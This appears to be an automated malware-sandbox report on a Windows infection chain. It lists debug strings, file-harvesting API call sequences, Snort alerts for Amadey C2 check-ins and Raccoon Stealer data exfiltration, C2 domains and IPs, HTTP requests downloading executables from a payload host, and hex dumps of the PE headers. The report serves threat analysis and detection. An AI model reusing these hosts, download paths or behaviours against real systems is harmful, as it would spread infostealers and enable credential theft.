Source:	Binary string: C:\tececa\sidexivuheje-vewa\xilo.pdb source: FD2B.exe, 0000001D.00000000.369230525.0000000000413000.00000002.00020000.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 0000001B.00000003.381514113.0000000005800000.00000004.00000040.sdmp
Source:	Binary string: profapi.pdb, source: WerFault.exe, 0000001B.00000003.381546423.0000000005806000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 0000001B.00000003.381484904.00000000056A1000.00000004.00000001.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 0000001B.00000003.381484904.00000000056A1000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 0000001B.00000003.381514113.0000000005800000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 0000001B.00000003.370128323.00000000035CF000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.381484904.00000000056A1000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.371827770.00000000035CF000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 0000001B.00000003.381514113.0000000005800000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 0000001B.00000003.381546423.0000000005806000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 0000001B.00000003.381546423.0000000005806000.00000004.00000040.sdmp
Source:	Binary string: C:\xobar.pdb source: emPJndhuvA.exe, 00000000.00000000.240583523.0000000000413000.00000002.00020000.sdmp, emPJndhuvA.exe, 00000000.00000002.249053095.0000000000413000.00000002.00020000.sdmp, tiftjuh, 00000014.00000002.348231795.0000000000413000.00000002.00020000.sdmp, tiftjuh, 00000014.00000000.339134972.0000000000413000.00000002.00020000.sdmp
Source:	Binary string: wsspicli.pdbk source: WerFault.exe, 0000001B.00000003.381514113.0000000005800000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 0000001B.00000003.381484904.00000000056A1000.00000004.00000001.sdmp
Source:	Binary string: !C:\tececa\sidexivuheje-vewa\xilo.pdb source: FD2B.exe, 0000001D.00000000.369230525.0000000000413000.00000002.00020000.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 0000001B.00000003.381546423.0000000005806000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 0000001B.00000003.381484904.00000000056A1000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 0000001B.00000003.381514113.0000000005800000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 0000001B.00000003.381546423.0000000005806000.00000004.00000040.sdmp
Source:	Binary string: C:\xanofa_towefogeximazu14\pexezi.pdb source: 952.exe, 0000001E.00000000.377588142.0000000000413000.00000002.00020000.sdmp, 952.exe, 0000001E.00000002.411047580.0000000000415000.00000002.00020000.sdmp, 952.exe, 0000001E.00000002.412892690.000000000078E000.00000004.00000020.sdmp, vodibdaj.exe, 0000002C.00000002.417553975.0000000000415000.00000002.00020000.sdmp, vodibdaj.exe, 0000002C.00000000.410165613.0000000000413000.00000002.00020000.sdmp
Source:	Binary string: msvcr100.i386.pdb source: WerFault.exe, 0000001B.00000003.381514113.0000000005800000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 0000001B.00000003.381546423.0000000005806000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 0000001B.00000003.381484904.00000000056A1000.00000004.00000001.sdmp
Source:	Binary string: YD_C:\xanofa_towefogeximazu14\pexezi.pdb source: 952.exe, 0000001E.00000000.377588142.0000000000413000.00000002.00020000.sdmp, 952.exe, 0000001E.00000002.411047580.0000000000415000.00000002.00020000.sdmp, 952.exe, 0000001E.00000002.412892690.000000000078E000.00000004.00000020.sdmp, vodibdaj.exe, 0000002C.00000002.417553975.0000000000415000.00000002.00020000.sdmp, vodibdaj.exe, 0000002C.00000000.410165613.0000000000413000.00000002.00020000.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 0000001B.00000003.381514113.0000000005800000.00000004.00000040.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 0000001B.00000003.381514113.0000000005800000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 0000001B.00000003.381514113.0000000005800000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 0000001B.00000003.381484904.00000000056A1000.00000004.00000001.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 0000001B.00000003.381514113.0000000005800000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 0000001B.00000003.381546423.0000000005806000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 0000001B.00000003.381546423.0000000005806000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 0000001B.00000003.381514113.0000000005800000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 0000001B.00000003.381546423.0000000005806000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 0000001B.00000003.381484904.00000000056A1000.00000004.00000001.sdmp
Source:	Binary string: C:\vuravetabig\lohatevexap\pulirip.pdb source: 3D67.exe, 00000019.00000000.361126589.0000000000413000.00000002.00020000.sdmp, 3D67.exe, 00000019.00000002.372987587.0000000000413000.00000002.00020000.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 0000001B.00000003.370138407.00000000035D5000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.370897133.00000000035D5000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.369939315.00000000035D5000.00000004.00000001.sdmp
Source:	Binary string: ^$C:\vuravetabig\lohatevexap\pulirip.pdb source: 3D67.exe, 00000019.00000000.361126589.0000000000413000.00000002.00020000.sdmp, 3D67.exe, 00000019.00000002.372987587.0000000000413000.00000002.00020000.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 0000001B.00000003.381484904.00000000056A1000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 0000001B.00000003.381484904.00000000056A1000.00000004.00000001.sdmp
Source:	Binary string: <wJC:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: 2819.exe, 00000016.00000000.348562532.0000000000413000.00000002.00020000.sdmp, 2819.exe, 00000016.00000000.361993606.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 0000001B.00000002.426093244.0000000005790000.00000002.00020000.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 0000001B.00000003.370128323.00000000035CF000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.371827770.00000000035CF000.00000004.00000001.sdmp

Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	29_2_00405E40
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	29_2_004096E0
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	29_2_00401280
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	29_2_00401090
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	29_2_00409B40
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	29_2_00409970
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	29_2_004087E0
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00588A30 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	29_2_00588A30
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_005814D0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	29_2_005814D0
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_005812E0 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	29_2_005812E0
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00586090 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	29_2_00586090
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00589930 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	29_2_00589930
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00589BC0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	29_2_00589BC0
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00589D90 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	29_2_00589D90

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2018581 ET TROJAN Single char EXE direct download likely trojan (multiple families) 192.168.2.5:49816 -> 141.8.194.74:80
Source: Traffic	Snort IDS: 1087 WEB-MISC whisker tab splice attack 192.168.2.5:49819 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49818 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 192.168.2.5:49834 -> 185.163.204.24:80
Source: Traffic	Snort IDS: 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 192.168.2.5:49869 -> 185.163.204.24:80
Source: Traffic	Snort IDS: 2033974 ET TROJAN Win32.Raccoon Stealer Data Exfil Attempt 192.168.2.5:49869 -> 185.163.204.24:80
Source: Traffic	Snort IDS: 2033974 ET TROJAN Win32.Raccoon Stealer Data Exfil Attempt 192.168.2.5:49834 -> 185.163.204.24:80

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\svchost.exe	Domain query: patmushta.info
Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Network Connect: 188.166.28.199 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.7.214.171 144	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\explorer.exe	Domain query: privacy-tools-for-you-780.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: microsoft-com.mail.protection.outlook.com
Source: C:\Windows\explorer.exe	Domain query: goo.su
Source: C:\Windows\explorer.exe	Domain query: transfer.sh
Source: C:\Windows\explorer.exe	Domain query: a0621298.xsph.ru
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

Source: global traffic	HTTP traffic detected: GET /KX6KAZ9Tip.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /RMR.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /123.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /c_setup.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /442.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /443.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:19 GMTContent-Type: application/x-msdos-programContent-Length: 301056Connection: closeLast-Modified: Mon, 10 Jan 2022 12:06:49 GMTETag: "49800-5d5392be00934"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 32 74 07 b2 76 15 69 e1 76 15 69 e1 76 15 69 e1 68 47 fc e1 69 15 69 e1 68 47 ea e1 fc 15 69 e1 68 47 ed e1 5b 15 69 e1 51 d3 12 e1 71 15 69 e1 76 15 68 e1 f9 15 69 e1 68 47 e3 e1 77 15 69 e1 68 47 fd e1 77 15 69 e1 68 47 f8 e1 77 15 69 e1 52 69 63 68 76 15 69 e1 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d4 e8 62 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 1e 01 00 00 f6 03 00 00 00 00 00 9f 2d 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 05 00 00 04 00 00 a7 ea 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b0 65 01 00 50 00 00 00 00 00 04 00 b0 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 32 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c5 1d 01 00 00 10 00 00 00 1e 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 44 3f 00 00 00 30 01 00 00 40 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 84 02 00 00 70 01 00 00 24 02 00 00 62 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 10 01 00 00 00 04 00 00 12 01 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:24 GMTContent-Type: application/x-msdos-programContent-Length: 294400Connection: closeLast-Modified: Thu, 13 Jan 2022 19:50:02 GMTETag: "47e00-5d57bfdfbe27b"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 25 6c 2c 3f 61 0d 42 6c 61 0d 42 6c 61 0d 42 6c 7f 5f d7 6c 7c 0d 42 6c 7f 5f c1 6c e2 0d 42 6c 7f 5f c6 6c 4f 0d 42 6c 46 cb 39 6c 62 0d 42 6c 61 0d 43 6c eb 0d 42 6c 7f 5f c8 6c 60 0d 42 6c 7f 5f d6 6c 60 0d 42 6c 7f 5f d3 6c 60 0d 42 6c 52 69 63 68 61 0d 42 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 c8 b4 05 60 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 20 01 00 00 da 03 00 00 00 00 00 b0 32 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 00 05 00 00 04 00 00 15 b0 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 a8 7f 01 00 28 00 00 00 00 20 04 00 88 dc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 31 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 72 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 8c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 1f 01 00 00 10 00 00 00 20 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 88 58 00 00 00 30 01 00 00 5a 00 00 00 24 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 b8 82 02 00 00 90 01 00 00 22 02 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 88 dc 00 00 00 20 04 00 00 de 00 00 00 a0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:28 GMTContent-Type: application/x-msdos-programContent-Length: 327168Connection: closeLast-Modified: Thu, 13 Jan 2022 19:50:02 GMTETag: "4fe00-5d57bfdfbc33b"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 25 6c 2c 3f 61 0d 42 6c 61 0d 42 6c 61 0d 42 6c 7f 5f d7 6c 7c 0d 42 6c 7f 5f c1 6c e2 0d 42 6c 7f 5f c6 6c 4f 0d 42 6c 46 cb 39 6c 62 0d 42 6c 61 0d 43 6c eb 0d 42 6c 7f 5f c8 6c 60 0d 42 6c 7f 5f d6 6c 60 0d 42 6c 7f 5f d3 6c 60 0d 42 6c 52 69 63 68 61 0d 42 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 ca 8a b6 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 20 01 00 00 5a 04 00 00 00 00 00 b0 32 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 80 05 00 00 04 00 00 69 d6 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 7f 01 00 28 00 00 00 00 a0 04 00 88 dc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 31 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 72 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 8c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 1f 01 00 00 10 00 00 00 20 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 78 58 00 00 00 30 01 00 00 5a 00 00 00 24 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 78 02 03 00 00 90 01 00 00 a2 02 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 88 dc 00 00 00 a0 04 00 00 de 00 00 00 20 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:04 GMTContent-Type: application/x-msdos-programContent-Length: 905216Connection: closeLast-Modified: Thu, 13 Jan 2022 15:53:07 GMTETag: "dd000-5d578aeb4049d"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8b cf 9c fb cf ae f2 a8 cf ae f2 a8 cf ae f2 a8 d1 fc 67 a8 d3 ae f2 a8 d1 fc 71 a8 49 ae f2 a8 d1 fc 76 a8 e1 ae f2 a8 e8 68 89 a8 cc ae f2 a8 cf ae f3 a8 45 ae f2 a8 d1 fc 78 a8 ce ae f2 a8 d1 fc 66 a8 ce ae f2 a8 d1 fc 63 a8 ce ae f2 a8 52 69 63 68 cf ae f2 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 cf 5b b6 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 20 01 00 00 32 0d 00 00 00 00 00 00 30 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 7c 02 00 04 00 00 e4 71 0e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 66 01 00 28 00 00 00 00 70 0d 00 20 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 31 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 1e 01 00 00 10 00 00 00 20 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 22 3f 00 00 00 30 01 00 00 40 00 00 00 24 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 fe 0b 00 00 70 01 00 00 9e 0b 00 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 dd 6e 02 00 